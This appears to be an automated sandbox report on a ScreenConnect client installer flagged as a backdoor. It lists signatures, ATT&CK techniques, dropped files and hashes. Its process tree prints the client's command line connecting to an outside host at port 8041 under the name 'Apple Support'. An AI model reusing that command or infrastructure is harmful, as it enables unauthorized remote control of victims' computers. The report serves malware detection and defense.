Overview

overview

8

Static

static

3

ScreenConn...up.msi

windows10-2004-x64

8

ScreenConn...up.msi

windows11-ltsc_2024-x64

8

Analysis

  • geolocation tags

    cacanadananorth-americatoronto
  • max time kernel
    898s
  • max time network
    886s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 22:37

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General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample260930-2j57vsbh59
  • SHA256 e1a6988d51d98f1027149663d171b64e13eaefe2fafc34bf20719900a105ed70
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 47 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1276
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4964
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 3F65D45EC6C9EDB7DDD76B7E0216C737 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7611.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240744203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2184
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4164
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 44310A17FE4702E94D634FE70A6E6F68
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1648
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1B90CD84DFA5EE381BAEF99435AFFC7E E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2344
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1688
    • C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=131.123.37.216&p=8041&s=220c4125-a404-4ca8-b53e-d3dbde28fb88&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&r=&i=Apple%20Support"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4316
      • C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe" "RunRole" "97317478-eb8b-4f09-a0d9-8cb4f5aae769" "User"
        2⤵
        • Executes dropped EXE
        PID:896
      • C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe" "RunRole" "ce85d439-381f-4268-8e6e-fe29ec48e30a" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2828

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Defense Evasion

          Modify Registry

          1
          T1112

          System Binary Proxy Execution

          1
          T1218

          Msiexec

          1
          T1218.007

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59c73f.rbs
          • Path C:\Config.Msi\e59c73f.rbs
          • Size 214KB
          • SHA256 36b6d6e6b6a19ac1792546406d864b08a5bbc36b37c910c2d436c7048186a6cd
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.Override.en-US.resources
          • Size 512B
          • SHA256 805b0ba841ed0f02f7791f0b6a706c0a7504672a92fd2aae94071a2de4c2a474
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.Override.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.Override.resources
          • Size 512B
          • SHA256 cb3ac8bf846a55bc32e0720414c09611ae7a332c6fc74f0bac8cb2437c1ab228
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.en-US.resources
          • Size 65KB
          • SHA256 54f557bba04d34617ace27c04a24c6b8a64e42dcb4de157be50dc80462b846e3
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.resources
          • Size 24KB
          • SHA256 7afb053cfe518d63ea9e97db329b62fff242720456ba0abdf71a1dca8fe49cde
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\app.config
          • Size 2KB
          • SHA256 7bc1d43e6460679714c6dd98b899dd2e2083409fd6b6453b553d76558afdd33c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\system.config
          • Size 936B
          • SHA256 23af5e61c4889f985d797c8fae6ea6dd84a1fec45db97014b05dfe7c8e2db2f2
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSI7611.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7611.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7611.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7611.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7611.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI7611.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSIC952.tmp
          • Path C:\Windows\Installer\MSIC952.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e59c73e.msi
          • Path C:\Windows\Installer\e59c73e.msi
          • Size 12.9MB
          • SHA256 e1a6988d51d98f1027149663d171b64e13eaefe2fafc34bf20719900a105ed70
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 b172858745001775d3da4718326dfb82a0d3ca1cde0c9974e8f4ead3de9647f8
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {bb3a97ac-9868-4bab-b86b-cf6b91b73ed5}_OnDiskSnapshotProp
          • Path \??\Volume{ba718129-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{bb3a97ac-9868-4bab-b86b-cf6b91b73ed5}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 2806efe78013ae144f9c401de710e286bd20242565238157a1e4ec4f3ff913af
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/896-127-0x0000000001230000-0x0000000001248000-memory.dmp
          Download

          memory/896-125-0x000000001BB20000-0x000000001BCCC000-memory.dmp
          Download

          memory/896-126-0x000000001CF10000-0x000000001D096000-memory.dmp
          Download

          memory/896-128-0x0000000002CA0000-0x0000000002CB8000-memory.dmp
          Download

          memory/896-123-0x0000000002C60000-0x0000000002C96000-memory.dmp
          Download

          memory/896-122-0x00000000008F0000-0x0000000000988000-memory.dmp
          Download

          memory/896-124-0x000000001B8E0000-0x000000001B96C000-memory.dmp
          Download

          memory/2184-30-0x00000000056D0000-0x000000000575C000-memory.dmp
          Download

          memory/2184-26-0x0000000005630000-0x000000000563A000-memory.dmp
          Download

          memory/2184-22-0x00000000055F0000-0x000000000561E000-memory.dmp
          Download

          memory/2184-34-0x0000000005910000-0x0000000005ABC000-memory.dmp
          Download

          memory/2184-35-0x0000000006070000-0x0000000006614000-memory.dmp
          Download

          memory/4316-102-0x0000000004900000-0x0000000004950000-memory.dmp
          Download

          memory/4316-111-0x0000000004BD0000-0x0000000004CA5000-memory.dmp
          Download

          memory/4316-109-0x0000000004950000-0x0000000004991000-memory.dmp
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          memory/4316-107-0x00000000049F0000-0x0000000004A82000-memory.dmp
          Download

          memory/4316-106-0x00000000048B0000-0x00000000048E6000-memory.dmp
          Download

          memory/4316-80-0x0000000004250000-0x0000000004268000-memory.dmp
          Download